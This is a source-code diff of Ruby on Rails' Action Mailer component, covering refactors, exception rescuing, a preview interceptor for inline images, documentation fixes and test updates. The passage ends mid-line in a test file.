-5,6 +5,7 @@ require 'active_support/core_ext/hash/except' require 'active_support/core_ext/module/anonymous' require 'action_mailer/log_subscriber' +require 'action_mailer/rescuable' module ActionMailer # Action Mailer allows you to send email from your application using a mailer model and views. @@ -86,7 +87,7 @@ module ActionMailer # Like Action Controller, each mailer class has a corresponding view directory in which each # method of the class looks for a template with its name. # - # To define a template to be used with a mailing, create an <tt>.erb</tt> file with the same + # To define a template to be used with a mailer, create an <tt>.erb</tt> file with the same # name as the method in your mailer model. For example, in the mailer defined above, the template at # <tt>app/views/notifier_mailer/welcome.text.erb</tt> would be used to generate the email. # @@ -132,33 +133,38 @@ module ActionMailer # # config.action_mailer.default_url_options = { host: "example.com" } # + # By default when <tt>config.force_ssl</tt> is true, URLs generated for hosts will use the HTTPS protocol. + # # = Sending mail # - # Once a mailer action and template are defined, you can deliver your message or create it and save it - # for delivery later: + # Once a mailer action and template are defined, you can deliver your message or defer its creation and + # delivery for later: # # NotifierMailer.welcome(User.first).deliver_now # sends the email # mail = NotifierMailer.welcome(User.first) # => an ActionMailer::MessageDelivery object - # mail.deliver_now # sends the email + # mail.deliver_now # generates and sends the email now # - # The <tt>ActionMailer::MessageDelivery</tt> class is a wrapper around a <tt>Mail::Message</tt> object. If - # you want direct access to the <tt>Mail::Message</tt> object you can call the <tt>message</tt> method on - # the <tt>ActionMailer::MessageDelivery</tt> object. + # The <tt>ActionMailer::MessageDelivery</tt> class is a wrapper around a delegate that will call + # your method to generate the mail. If you want direct access to the delegator, or <tt>Mail::Message</tt>, + # you can call the <tt>message</tt> method on the <tt>ActionMailer::MessageDelivery</tt> object. # # NotifierMailer.welcome(User.first).message # => a Mail::Message object # - # Action Mailer is nicely integrated with Active Job so you can send emails in the background (example: outside - # of the request-response cycle, so the user doesn't have to wait on it): + # Action Mailer is nicely integrated with Active Job so you can generate and send emails in the background + # (example: outside of the request-response cycle, so the user doesn't have to wait on it): # # NotifierMailer.welcome(User.first).deliver_later # enqueue the email sending to Active Job # + # Note that <tt>deliver_later</tt> will execute your method from the background job. + # # You never instantiate your mailer class. Rather, you just call the method you defined on the class itself. + # All instance methods are expected to return a message object to be sent. # # = Multipart Emails # # Multipart messages can also be used implicitly because Action Mailer will automatically detect and use # multipart templates, where each template is named after the name of the action, followed by the content - # type. Each such detected template will be added as a separate part to the message. + # type. Each such detected template will be added to the message, as a separate part. # # For example, if the following templates exist: # * signup_notification.text.erb @@ -254,8 +260,8 @@ module ActionMailer # <tt>ActionMailer::Base</tt> sets the following: # # * <tt>mime_version: "1.0"</tt> - # * <tt>charset: "UTF-8",</tt> - # * <tt>content_type: "text/plain",</tt> + # * <tt>charset: "UTF-8"</tt> + # * <tt>content_type: "text/plain"</tt> # * <tt>parts_order: [ "text/plain", "text/enriched", "text/html" ]</tt> # # <tt>parts_order</tt> and <tt>charset</tt> are not actually valid <tt>Mail::Message</tt> header fields, @@ -283,8 +289,8 @@ module ActionMailer # end # # Note that the proc is evaluated right at the start of the mail message generation, so if you - # set something in the defaults using a proc, and then set the same thing inside of your - # mailer method, it will get over written by the mailer method. + # set something in the default hash using a proc, and then set the same thing inside of your + # mailer method, it will get overwritten by the mailer method. # # It is also possible to set these default options that will be used in all mailers through # the <tt>default_options=</tt> configuration in <tt>config/application.rb</tt>: @@ -316,8 +322,9 @@ module ActionMailer # callbacks in the same manner that you would use callbacks in classes that # inherit from <tt>ActionController::Base</tt>. # - # Note that unless you have a specific reason to do so, you should prefer using before_action - # rather than after_action in your Action Mailer classes so that headers are parsed properly. + # Note that unless you have a specific reason to do so, you should prefer + # using <tt>before_action</tt> rather than <tt>after_action</tt> in your + # Action Mailer classes so that headers are parsed properly. # # = Previewing emails # @@ -376,8 +383,8 @@ module ActionMailer # * <tt>:password</tt> - If your mail server requires authentication, set the password in this setting. # * <tt>:authentication</tt> - If your mail server requires authentication, you need to specify the # authentication type here. - # This is a symbol and one of <tt>:plain</tt> (will send the password in the clear), <tt>:login</tt> (will - # send password Base64 encoded) or <tt>:cram_md5</tt> (combines a Challenge/Response mechanism to exchange + # This is a symbol and one of <tt>:plain</tt> (will send the password Base64 encoded), <tt>:login</tt> (will + # send the password Base64 encoded) or <tt>:cram_md5</tt> (combines a Challenge/Response mechanism to exchange # information and a cryptographic Message Digest 5 algorithm to hash important information) # * <tt>:enable_starttls_auto</tt> - Detects if STARTTLS is enabled in your SMTP server and starts # to use it. Defaults to <tt>true</tt>. @@ -386,6 +393,7 @@ module ActionMailer # of an OpenSSL verify constant (<tt>'none'</tt>, <tt>'peer'</tt>, <tt>'client_once'</tt>, # <tt>'fail_if_no_peer_cert'</tt>) or directly the constant (<tt>OpenSSL::SSL::VERIFY_NONE</tt>, # <tt>OpenSSL::SSL::VERIFY_PEER</tt>, ...). + # <tt>:ssl/:tls</tt> Enables the SMTP connection to use SMTP/TLS (SMTPS: SMTP over direct TLS connection) # # * <tt>sendmail_settings</tt> - Allows you to override options for the <tt>:sendmail</tt> delivery method. # * <tt>:location</tt> - The location of the sendmail executable. Defaults to <tt>/usr/sbin/sendmail</tt>. @@ -409,8 +417,11 @@ module ActionMailer # # * <tt>deliveries</tt> - Keeps an array of all the emails sent out through the Action Mailer with # <tt>delivery_method :test</tt>. Most useful for unit and functional testing. + # + # * <tt>deliver_later_queue_name</tt> - The name of the queue used with <tt>deliver_later</tt>. class Base < AbstractController::Base include DeliveryMethods + include Rescuable include Previews abstract! @@ -422,6 +433,7 @@ module ActionMailer include AbstractController::Translation include AbstractController::AssetPaths include AbstractController::Callbacks + include AbstractController::Caching include ActionView::Layouts @@ -433,8 +445,6 @@ module ActionMailer helper ActionMailer::MailHelper - private_class_method :new #:nodoc: - class_attribute :default_params self.default_params = { mime_version: "1.0", @@ -458,29 +468,25 @@ module ActionMailer # Either a class, string or symbol can be passed in as the Observer. # If a string or symbol is passed in it will be camelized and constantized. def register_observer(observer) - delivery_observer = case observer - when String, Symbol - observer.to_s.camelize.constantize - else - observer - end - - Mail.register_observer(delivery_observer) + Mail.register_observer(observer_class_for(observer)) end # Register an Interceptor which will be called before mail is sent. # Either a class, string or symbol can be passed in as the Interceptor. # If a string or symbol is passed in it will be camelized and constantized. def register_interceptor(interceptor) - delivery_interceptor = case interceptor - when String, Symbol - interceptor.to_s.camelize.constantize - else - interceptor - end - - Mail.register_interceptor(delivery_interceptor) + Mail.register_interceptor(observer_class_for(interceptor)) + end + + def observer_class_for(value) # :nodoc: + case value + when String, Symbol + value.to_s.camelize.constantize + else + value + end end + private :observer_class_for # Returns the name of current mailer. This method is also being used as a path for a view lookup. # If this is an anonymous mailer, this method will return +anonymous+ instead. @@ -539,10 +545,6 @@ module ActionMailer end end - def respond_to?(method, include_private = false) #:nodoc: - super || action_methods.include?(method.to_s) - end - protected def set_payload_for_mail(payload, mail) #:nodoc: @@ -564,6 +566,12 @@ module ActionMailer super end end + + private + + def respond_to_missing?(method, include_all = false) #:nodoc: + action_methods.include?(method.to_s) + end end attr_internal :message @@ -572,11 +580,10 @@ module ActionMailer # will be initialized according to the named method. If not, the mailer will # remain uninitialized (useful when you only need to invoke the "receive" # method, for instance). - def initialize(method_name=nil, *args) + def initialize super() @_mail_was_called = false @_message = Mail.new - process(method_name, *args) if method_name end def process(method_name, *args) #:nodoc: @@ -593,6 +600,7 @@ module ActionMailer class NullMail #:nodoc: def body; '' end + def header; {} end def respond_to?(string, include_all=false) true @@ -654,21 +662,21 @@ module ActionMailer # # mail.attachments['filename.jpg'] = File.read('/path/to/filename.jpg') # - # If you do this, then Mail will take the file name and work out the mime type - # set the Content-Type, Content-Disposition, Content-Transfer-Encoding and - # base64 encode the contents of the attachment all for you. + # If you do this, then Mail will take the file name and work out the mime type. + # It will also set the Content-Type, Content-Disposition, Content-Transfer-Encoding + # and encode the contents of the attachment in Base64. # # You can also specify overrides if you want by passing a hash instead of a string: # - # mail.attachments['filename.jpg'] = {mime_type: 'application/x-gzip', + # mail.attachments['filename.jpg'] = {mime_type: 'application/gzip', # content: File.read('/path/to/filename.jpg')} # - # If you want to use a different encoding than Base64, you can pass an encoding in, - # but then it is up to you to pass in the content pre-encoded, and don't expect - # Mail to know how to decode this data: + # If you want to use encoding other than Base64 then you will need to pass encoding + # type along with the pre-encoded content as Mail doesn't know how to decode the + # data: # # file_content = SpecialEncode(File.read('/path/to/filename.jpg')) - # mail.attachments['filename.jpg'] = {mime_type: 'application/x-gzip', + # mail.attachments['filename.jpg'] = {mime_type: 'application/gzip', # encoding: 'SpecialEncoding', # content: file_content } # @@ -790,52 +798,40 @@ module ActionMailer # end # def mail(headers = {}, &block) - return @_message if @_mail_was_called && headers.blank? && !block - - m = @_message + return message if @_mail_was_called && headers.blank? && !block # At the beginning, do not consider class default for content_type content_type = headers[:content_type] - # Call all the procs (if any) - default_values = {} - self.class.default.each do |k,v| - default_values[k] = v.is_a?(Proc) ? instance_eval(&v) : v - end - - # Handle defaults - headers = headers.reverse_merge(default_values) - headers[:subject] ||= default_i18n_subject + headers = apply_defaults(headers) # Apply charset at the beginning so all fields are properly quoted - m.charset = charset = headers[:charset] + message.charset = charset = headers[:charset] # Set configure delivery behavior - wrap_delivery_behavior!(headers.delete(:delivery_method), headers.delete(:delivery_method_options)) + wrap_delivery_behavior!(headers[:delivery_method], headers[:delivery_method_options]) - # Assign all headers except parts_order, content_type and body - assignable = headers.except(:parts_order, :content_type, :body, :template_name, :template_path) - assignable.each { |k, v| m[k] = v } + assign_headers_to_message(message, headers) # Render the templates and blocks responses = collect_responses(headers, &block) @_mail_was_called = true - create_parts_from_responses(m, responses) + create_parts_from_responses(message, responses) # Setup content type, reapply charset and handle parts order - m.content_type = set_content_type(m, content_type, headers[:content_type]) - m.charset = charset + message.content_type = set_content_type(message, content_type, headers[:content_type]) + message.charset = charset - if m.multipart? - m.body.set_sort_order(headers[:parts_order]) - m.body.sort_parts! + if message.multipart? + message.body.set_sort_order(headers[:parts_order]) + message.body.sort_parts! end - m + message end - protected + protected # Used by #mail to set the content type of the message. # @@ -873,36 +869,61 @@ module ActionMailer I18n.t(:subject, interpolations.merge(scope: [mailer_scope, action_name], default: action_name.humanize)) end - def collect_responses(headers) #:nodoc: - responses = [] + # Emails do not support relative path links. + def self.supports_path? + false + end + + private + + def apply_defaults(headers) + default_values = self.class.default.map do |key, value| + [ + key, + value.is_a?(Proc) ? instance_eval(&value) : value + ] + end.to_h + + headers_with_defaults = headers.reverse_merge(default_values) + headers_with_defaults[:subject] ||= default_i18n_subject + headers_with_defaults + end + def assign_headers_to_message(message, headers) + assignable = headers.except(:parts_order, :content_type, :body, :template_name, + :template_path, :delivery_method, :delivery_method_options) + assignable.each { |k, v| message[k] = v } + end + + def collect_responses(headers) if block_given? collector = ActionMailer::Collector.new(lookup_context) { render(action_name) } yield(collector) - responses = collector.responses + collector.responses elsif headers[:body] - responses << { + [{ body: headers.delete(:body), content_type: self.class.default[:content_type] || "text/plain" - } + }] else - templates_path = headers.delete(:template_path) || self.class.mailer_name - templates_name = headers.delete(:template_name) || action_name + collect_responses_from_templates(headers) + end + end - each_template(Array(templates_path), templates_name) do |template| - self.formats = template.formats + def collect_responses_from_templates(headers) + templates_path = headers[:template_path] || self.class.mailer_name + templates_name = headers[:template_name] || action_name - responses << { - body: render(template: template), - content_type: template.type.to_s - } - end + each_template(Array(templates_path), templates_name).map do |template| + self.formats = template.formats + { + body: render(template: template), + content_type: template.type.to_s + } end - - responses end - def each_template(paths, name, &block) #:nodoc: + def each_template(paths, name, &block) templates = lookup_context.find_all(name, paths) if templates.empty? raise ActionView::MissingTemplate.new(paths, name, paths, false, 'mailer') @@ -911,7 +932,7 @@ module ActionMailer end end - def create_parts_from_responses(m, responses) #:nodoc: + def create_parts_from_responses(m, responses) if responses.size == 1 && !m.has_attachments? responses[0].each { |k,v| m[k] = v } elsif responses.size > 1 && m.has_attachments? @@ -924,15 +945,22 @@ module ActionMailer end end - def insert_part(container, response, charset) #:nodoc: + def insert_part(container, response, charset) response[:charset] ||= charset part = Mail::Part.new(response) container.add_part(part) end - # Emails do not support relative path links. - def self.supports_path? - false + # This and #instrument_name is for caching instrument + def instrument_payload(key) + { + mailer: mailer_name, + key: key + } + end + + def instrument_name + "action_mailer" end ActiveSupport.run_load_hooks(:action_mailer, self) diff --git a/actionmailer/lib/action_mailer/delivery_job.rb b/actionmailer/lib/action_mailer/delivery_job.rb index e864ab7a4d..d371c1b61a 100644 --- a/actionmailer/lib/action_mailer/delivery_job.rb +++ b/actionmailer/lib/action_mailer/delivery_job.rb @@ -3,11 +3,32 @@ require 'active_job' module ActionMailer # The <tt>ActionMailer::DeliveryJob</tt> class is used when you # want to send emails outside of the request-response cycle. + # + # Exceptions are rescued and handled by the mailer class. class DeliveryJob < ActiveJob::Base # :nodoc: - queue_as :mailers + queue_as { ActionMailer::Base.deliver_later_queue_name } + + rescue_from StandardError, with: :handle_exception_with_mailer_class def perform(mailer, mail_method, delivery_method, *args) #:nodoc: mailer.constantize.public_send(mail_method, *args).send(delivery_method) end + + private + # "Deserialize" the mailer class name by hand in case another argument + # (like a Global ID reference) raised DeserializationError. + def mailer_class + if mailer = Array(@serialized_arguments).first || Array(arguments).first + mailer.constantize + end + end + + def handle_exception_with_mailer_class(exception) + if klass = mailer_class + klass.handle_exception exception + else + raise exception + end + end end end diff --git a/actionmailer/lib/action_mailer/delivery_methods.rb b/actionmailer/lib/action_mailer/delivery_methods.rb index aedcd81e52..571c8e7d2a 100644 --- a/actionmailer/lib/action_mailer/delivery_methods.rb +++ b/actionmailer/lib/action_mailer/delivery_methods.rb @@ -16,6 +16,9 @@ module ActionMailer cattr_accessor :perform_deliveries self.perform_deliveries = true + cattr_accessor :deliver_later_queue_name + self.deliver_later_queue_name = :mailers + self.delivery_methods = {}.freeze self.delivery_method = :smtp @@ -33,7 +36,7 @@ module ActionMailer add_delivery_method :sendmail, Mail::Sendmail, location: '/usr/sbin/sendmail', - arguments: '-i -t' + arguments: '-i' add_delivery_method :test, Mail::TestMailer end diff --git a/actionmailer/lib/action_mailer/gem_version.rb b/actionmailer/lib/action_mailer/gem_version.rb index ac79788cf0..7dafceef2b 100644 --- a/actionmailer/lib/action_mailer/gem_version.rb +++ b/actionmailer/lib/action_mailer/gem_version.rb @@ -1,12 +1,12 @@ module ActionMailer - # Returns the version of the currently loaded Action Mailer as a <tt>Gem::Version</tt> + # Returns the version of the currently loaded Action Mailer as a <tt>Gem::Version</tt>. def self.gem_version Gem::Version.new VERSION::STRING end module VERSION MAJOR = 5 - MINOR = 0 + MINOR = 1 TINY = 0 PRE = "alpha" diff --git a/actionmailer/lib/action_mailer/inline_preview_interceptor.rb b/actionmailer/lib/action_mailer/inline_preview_interceptor.rb new file mode 100644 index 0000000000..419d6c7b93 --- /dev/null +++ b/actionmailer/lib/action_mailer/inline_preview_interceptor.rb @@ -0,0 +1,61 @@ +require 'base64' + +module ActionMailer + # Implements a mailer preview interceptor that converts image tag src attributes + # that use inline cid: style urls to data: style urls so that they are visible + # when previewing an HTML email in a web browser. + # + # This interceptor is enabled by default. To disable it, delete it from the + # <tt>ActionMailer::Base.preview_interceptors</tt> array: + # + # ActionMailer::Base.preview_interceptors.delete(ActionMailer::InlinePreviewInterceptor) + # + class InlinePreviewInterceptor + PATTERN = /src=(?:"cid:[^"]+"|'cid:[^']+')/i + + include Base64 + + def self.previewing_email(message) #:nodoc: + new(message).transform! + end + + def initialize(message) #:nodoc: + @message = message + end + + def transform! #:nodoc: + return message if html_part.blank? + + html_source.gsub!(PATTERN) do |match| + if part = find_part(match[9..-2]) + %[src="#{data_url(part)}"] + else + match + end + end + + message + end + + private + def message + @message + end + + def html_part + @html_part ||= message.html_part + end + + def html_source + html_part.body.raw_source + end + + def data_url(part) + "data:#{part.mime_type};base64,#{strict_encode64(part.body.raw_source)}" + end + + def find_part(cid) + message.all_parts.find{ |p| p.attachment? && p.cid == cid } + end + end +end diff --git a/actionmailer/lib/action_mailer/log_subscriber.rb b/actionmailer/lib/action_mailer/log_subscriber.rb index 5b57c75ec3..2867bf90fb 100644 --- a/actionmailer/lib/action_mailer/log_subscriber.rb +++ b/actionmailer/lib/action_mailer/log_subscriber.rb @@ -2,13 +2,13 @@ require 'active_support/log_subscriber' module ActionMailer # Implements the ActiveSupport::LogSubscriber for logging notifications when - # email is delivered and received. + # email is delivered or received. class LogSubscriber < ActiveSupport::LogSubscriber # An email was delivered. def deliver(event) info do recipients = Array(event.payload[:to]).join(', ') - "\nSent mail to #{recipients} (#{event.duration.round(1)}ms)" + "Sent mail to #{recipients} (#{event.duration.round(1)}ms)" end debug { event.payload[:mail] } @@ -16,7 +16,7 @@ module ActionMailer # An email was received. def receive(event) - info { "\nReceived mail (#{event.duration.round(1)}ms)" } + info { "Received mail (#{event.duration.round(1)}ms)" } debug { event.payload[:mail] } end @@ -25,11 +25,11 @@ module ActionMailer debug do mailer = event.payload[:mailer] action = event.payload[:action] - "\n#{mailer}##{action}: processed outbound mail in #{event.duration.round(1)}ms" + "#{mailer}##{action}: processed outbound mail in #{event.duration.round(1)}ms" end end - # Use the logger configured for ActionMailer::Base + # Use the logger configured for ActionMailer::Base. def logger ActionMailer::Base.logger end diff --git a/actionmailer/lib/action_mailer/message_delivery.rb b/actionmailer/lib/action_mailer/message_delivery.rb index ff2cb0fd01..c5ba5f9f1d 100644 --- a/actionmailer/lib/action_mailer/message_delivery.rb +++ b/actionmailer/lib/action_mailer/message_delivery.rb @@ -1,7 +1,6 @@ require 'delegate' module ActionMailer - # The <tt>ActionMailer::MessageDelivery</tt> class is used by # <tt>ActionMailer::Base</tt> when creating a new mailer. # <tt>MessageDelivery</tt> is a wrapper (+Delegator+ subclass) around a lazy @@ -14,25 +13,35 @@ module ActionMailer # Notifier.welcome(User.first).deliver_later # enqueue email delivery as a job through Active Job # Notifier.welcome(User.first).message # a Mail::Message object class MessageDelivery < Delegator - def initialize(mailer, mail_method, *args) #:nodoc: - @mailer = mailer - @mail_method = mail_method - @args = args + def initialize(mailer_class, action, *args) #:nodoc: + @mailer_class, @action, @args = mailer_class, action, args + + # The mail is only processed if we try to call any methods on it. + # Typical usage will leave it unloaded and call deliver_later. + @processed_mailer = nil + @mail_message = nil end + # Method calls are delegated to the Mail::Message that's ready to deliver. def __getobj__ #:nodoc: - @obj ||= @mailer.send(:new, @mail_method, *@args).message + @mail_message ||= processed_mailer.message end - def __setobj__(obj) #:nodoc: - @obj = obj + # Unused except for delegator internals (dup, marshaling). + def __setobj__(mail_message) #:nodoc: + @mail_message = mail_message end - # Returns the Mail::Message object + # Returns the resulting Mail::Message def message __getobj__ end + # Was the delegate loaded, causing the mailer action to be processed? + def processed? + @processed_mailer || @mail_message + end + # Enqueues the email to be delivered through Active Job. When the # job runs it will send the email using +deliver_now!+. That means # that the message will be sent bypassing checking +perform_deliveries+ @@ -60,9 +69,9 @@ module ActionMailer # # Options: # - # * <tt>:wait</tt> - Enqueue the email to be delivered with a delay - # * <tt>:wait_until</tt> - Enqueue the email to be delivered at (after) a specific date / time - # * <tt>:queue</tt> - Enqueue the email on the specified queue + # * <tt>:wait</tt> - Enqueue the email to be delivered with a delay. + # * <tt>:wait_until</tt> - Enqueue the email to be delivered at (after) a specific date / time. + # * <tt>:queue</tt> - Enqueue the email on the specified queue. def deliver_later(options={}) enqueue_delivery :deliver_now, options end @@ -73,7 +82,9 @@ module ActionMailer # Notifier.welcome(User.first).deliver_now! # def deliver_now! - message.deliver! + processed_mailer.handle_exceptions do + message.deliver! + end end # Delivers an email: @@ -81,14 +92,34 @@ module ActionMailer # Notifier.welcome(User.first).deliver_now # def deliver_now - message.deliver + processed_mailer.handle_exceptions do + message.deliver + end end private + # Returns the processed Mailer instance. We keep this instance + # on hand so we can delegate exception handling to it. + def processed_mailer + @processed_mailer ||= @mailer_class.new.tap do |mailer| + mailer.process @action, *@args + end + end def enqueue_delivery(delivery_method, options={}) - args = @mailer.name, @mail_method.to_s, delivery_method.to_s, *@args - ActionMailer::DeliveryJob.set(options).perform_later(*args) + if processed? + ::Kernel.raise "You've accessed the message before asking to " \ + "deliver it later, so you may have made local changes that would " \ + "be silently lost if we enqueued a job to deliver it. Why? Only " \ + "the mailer method *arguments* are passed with the delivery job! " \ + "Do not access the message in any way if you mean to deliver it " \ + "later. Workarounds: 1. don't touch the message before calling " \ + "#deliver_later, 2. only touch the message *within your mailer " \ + "method*, or 3. use a custom Active Job instead of #deliver_later." + else + args = @mailer_class.name, @action.to_s, delivery_method.to_s, *@args + ::ActionMailer::DeliveryJob.set(options).perform_later(*args) + end end end end diff --git a/actionmailer/lib/action_mailer/preview.rb b/actionmailer/lib/action_mailer/preview.rb index 44cf6665ba..aab92fe8db 100644 --- a/actionmailer/lib/action_mailer/preview.rb +++ b/actionmailer/lib/action_mailer/preview.rb @@ -21,7 +21,7 @@ module ActionMailer # :nodoc: mattr_accessor :preview_interceptors, instance_writer: false - self.preview_interceptors = [] + self.preview_interceptors = [ActionMailer::InlinePreviewInterceptor] end module ClassMethods @@ -52,7 +52,7 @@ module ActionMailer extend ActiveSupport::DescendantsTracker class << self - # Returns all mailer preview classes + # Returns all mailer preview classes. def all load_previews if descendants.empty? descendants @@ -68,27 +68,27 @@ module ActionMailer message end - # Returns all of the available email previews + # Returns all of the available email previews. def emails public_instance_methods(false).map(&:to_s).sort end - # Returns true if the email exists + # Returns true if the email exists. def email_exists?(email) emails.include?(email) end - # Returns true if the preview exists + # Returns true if the preview exists. def exists?(preview) all.any?{ |p| p.preview_name == preview } end - # Find a mailer preview by its underscored class name + # Find a mailer preview by its underscored class name. def find(preview) all.find{ |p| p.preview_name == preview } end - # Returns the underscored name of the mailer preview without the suffix + # Returns the underscored name of the mailer preview without the suffix. def preview_name name.sub(/Preview$/, '').underscore end diff --git a/actionmailer/lib/action_mailer/railtie.rb b/actionmailer/lib/action_mailer/railtie.rb index bebcf4de01..a727ed38e9 100644 --- a/actionmailer/lib/action_mailer/railtie.rb +++ b/actionmailer/lib/action_mailer/railtie.rb @@ -16,10 +16,16 @@ module ActionMailer paths = app.config.paths options = app.config.action_mailer + if app.config.force_ssl + options.default_url_options ||= {} + options.default_url_options[:protocol] ||= 'https' + end + options.assets_dir ||= paths["public"].first options.javascripts_dir ||= paths["public/javascripts"].first options.stylesheets_dir ||= paths["public/stylesheets"].first options.show_previews = Rails.env.development? if options.show_previews.nil? + options.cache_store ||= Rails.cache if options.show_previews options.preview_path ||= defined?(Rails.root) ? "#{Rails.root}/test/mailers/previews" : nil @@ -39,14 +45,9 @@ module ActionMailer register_observers(options.delete(:observers)) options.each { |k,v| send("#{k}=", v) } - - if options.show_previews - app.routes.prepend do - get '/rails/mailers' => "rails/mailers#index" - get '/rails/mailers/*path' => "rails/mailers#preview" - end - end end + + ActiveSupport.on_load(:action_dispatch_integration_test) { include ActionMailer::TestCase::ClearTestDeliveries } end initializer "action_mailer.compile_config_methods" do @@ -55,9 +56,18 @@ module ActionMailer end end - config.after_initialize do - if ActionMailer::Base.preview_path - ActiveSupport::Dependencies.autoload_paths << ActionMailer::Base.preview_path + config.after_initialize do |app| + options = app.config.action_mailer + + if options.show_previews + app.routes.prepend do + get '/rails/mailers' => "rails/mailers#index", internal: true + get '/rails/mailers/*path' => "rails/mailers#preview", internal: true + end + + if options.preview_path + ActiveSupport::Dependencies.autoload_paths << options.preview_path + end end end end diff --git a/actionmailer/lib/action_mailer/rescuable.rb b/actionmailer/lib/action_mailer/rescuable.rb new file mode 100644 index 0000000000..f2eabfa057 --- /dev/null +++ b/actionmailer/lib/action_mailer/rescuable.rb @@ -0,0 +1,27 @@ +module ActionMailer #:nodoc: + # Provides `rescue_from` for mailers. Wraps mailer action processing, + # mail job processing, and mail delivery. + module Rescuable + extend ActiveSupport::Concern + include ActiveSupport::Rescuable + + class_methods do + def handle_exception(exception) #:nodoc: + rescue_with_handler(exception) || raise(exception) + end + end + + def handle_exceptions #:nodoc: + yield + rescue => exception + rescue_with_handler(exception) || raise + end + + private + def process(*) + handle_exceptions do + super + end + end + end +end diff --git a/actionmailer/lib/action_mailer/test_case.rb b/actionmailer/lib/action_mailer/test_case.rb index 766215ce96..b045e883ad 100644 --- a/actionmailer/lib/action_mailer/test_case.rb +++ b/actionmailer/lib/action_mailer/test_case.rb @@ -11,6 +11,23 @@ module ActionMailer end class TestCase < ActiveSupport::TestCase + module ClearTestDeliveries + extend ActiveSupport::Concern + + included do + setup :clear_test_deliveries + teardown :clear_test_deliveries + end + + private + + def clear_test_deliveries + if ActionMailer::Base.delivery_method == :test + ActionMailer::Base.deliveries.clear + end + end + end + module Behavior extend ActiveSupport::Concern @@ -57,28 +74,29 @@ module ActionMailer protected - def initialize_test_deliveries + def initialize_test_deliveries # :nodoc: set_delivery_method :test @old_perform_deliveries = ActionMailer::Base.perform_deliveries ActionMailer::Base.perform_deliveries = true + ActionMailer::Base.deliveries.clear end - def restore_test_deliveries + def restore_test_deliveries # :nodoc: restore_delivery_method ActionMailer::Base.perform_deliveries = @old_perform_deliveries - ActionMailer::Base.deliveries.clear end - def set_delivery_method(method) + def set_delivery_method(method) # :nodoc: @old_delivery_method = ActionMailer::Base.delivery_method ActionMailer::Base.delivery_method = method end - def restore_delivery_method + def restore_delivery_method # :nodoc: + ActionMailer::Base.deliveries.clear ActionMailer::Base.delivery_method = @old_delivery_method end - def set_expected_mail + def set_expected_mail # :nodoc: @expected = Mail.new @expected.content_type ["text", "plain", { "charset" => charset }] @expected.mime_version = '1.0' diff --git a/actionmailer/lib/action_mailer/test_helper.rb b/actionmailer/lib/action_mailer/test_helper.rb index 524e6e3af1..e423aac389 100644 --- a/actionmailer/lib/action_mailer/test_helper.rb +++ b/actionmailer/lib/action_mailer/test_helper.rb @@ -2,7 +2,7 @@ require 'active_job' module ActionMailer # Provides helper methods for testing Action Mailer, including #assert_emails - # and #assert_no_emails + # and #assert_no_emails. module TestHelper include ActiveJob::TestHelper @@ -34,13 +34,13 @@ module ActionMailer original_count = ActionMailer::Base.deliveries.size yield new_count = ActionMailer::Base.deliveries.size - assert_equal original_count + number, new_count, "#{number} emails expected, but #{new_count - original_count} were sent" + assert_equal number, new_count - original_count, "#{number} emails expected, but #{new_count - original_count} were sent" else assert_equal number, ActionMailer::Base.deliveries.size end end - # Assert that no emails have been sent. + # Asserts that no emails have been sent. # # def test_emails # assert_no_emails diff --git a/actionmailer/lib/rails/generators/mailer/mailer_generator.rb b/actionmailer/lib/rails/generators/mailer/mailer_generator.rb index 3ec7d3d896..01bdfb0685 100644 --- a/actionmailer/lib/rails/generators/mailer/mailer_generator.rb +++ b/actionmailer/lib/rails/generators/mailer/mailer_generator.rb @@ -9,8 +9,11 @@ module Rails def create_mailer_file template "mailer.rb", File.join('app/mailers', class_path, "#{file_name}_mailer.rb") - if self.behavior == :invoke - template "application_mailer.rb", 'app/mailers/application_mailer.rb' + + in_root do + if self.behavior == :invoke && !File.exist?(application_mailer_file_name) + template 'application_mailer.rb', application_mailer_file_name + end end end @@ -18,7 +21,16 @@ module Rails protected def file_name - @_file_name ||= super.gsub(/\_mailer/i, '') + @_file_name ||= super.gsub(/_mailer/i, '') + end + + private + def application_mailer_file_name + @_application_mailer_file_name ||= if mountable_engine? + "app/mailers/#{namespaced_path}/application_mailer.rb" + else + "app/mailers/application_mailer.rb" + end end end end diff --git a/actionmailer/lib/rails/generators/mailer/templates/application_mailer.rb b/actionmailer/lib/rails/generators/mailer/templates/application_mailer.rb index d25d8892dd..00fb9bd48f 100644 --- a/actionmailer/lib/rails/generators/mailer/templates/application_mailer.rb +++ b/actionmailer/lib/rails/generators/mailer/templates/application_mailer.rb @@ -1,4 +1,6 @@ +<% module_namespacing do -%> class ApplicationMailer < ActionMailer::Base - default from: "from@example.com" + default from: 'from@example.com' layout 'mailer' end +<% end %> diff --git a/actionmailer/test/abstract_unit.rb b/actionmailer/test/abstract_unit.rb index ae91903c95..8d740ac863 100644 --- a/actionmailer/test/abstract_unit.rb +++ b/actionmailer/test/abstract_unit.rb @@ -1,4 +1,3 @@ -require File.expand_path('../../../load_paths', __FILE__) require 'active_support/core_ext/kernel/reporting' # These are the normal settings that will be set up by Railties @@ -8,10 +7,16 @@ silence_warnings do Encoding.default_external = "UTF-8" end +module Rails + def self.root + File.expand_path('../', File.dirname(__FILE__)) + end +end + require 'active_support/testing/autorun' +require 'active_support/testing/method_call_assertions' require 'action_mailer' require 'action_mailer/test_case' -require 'mail' # Emulate AV railtie require 'action_view' @@ -26,12 +31,6 @@ I18n.enforce_available_locales = false FIXTURE_LOAD_PATH = File.expand_path('fixtures', File.dirname(__FILE__)) ActionMailer::Base.view_paths = FIXTURE_LOAD_PATH -module Rails - def self.root - File.expand_path('../', File.dirname(__FILE__)) - end -end - # Skips the current run on Rubinius using Minitest::Assertions#skip def rubinius_skip(message = '') skip message if RUBY_ENGINE == 'rbx' @@ -41,4 +40,6 @@ def jruby_skip(message = '') skip message if defined?(JRUBY_VERSION) end -require 'mocha/setup' # FIXME: stop using mocha +class ActiveSupport::TestCase + include ActiveSupport::Testing::MethodCallAssertions +end diff --git a/actionmailer/test/base_test.rb b/actionmailer/test/base_test.rb index 59c5638f96..50f2c71737 100644 --- a/actionmailer/test/base_test.rb +++ b/actionmailer/test/base_test.rb @@ -449,6 +449,13 @@ class BaseTest < ActiveSupport::TestCase assert_equal("Format with any!", email.parts[1].body.encoded) end + test 'explicit without specifying format with format.any' do + error = assert_raises(ArgumentError) do + BaseMailer.explicit_without_specifying_format_with_any.parts + end + assert_equal "You have to supply at least one format", error.message + end + test "explicit multipart with format(Hash)" do email = BaseMailer.explicit_multipart_with_options(true) email.ready_to_send! @@ -505,9 +512,10 @@ class BaseTest < ActiveSupport::TestCase end test "calling deliver on 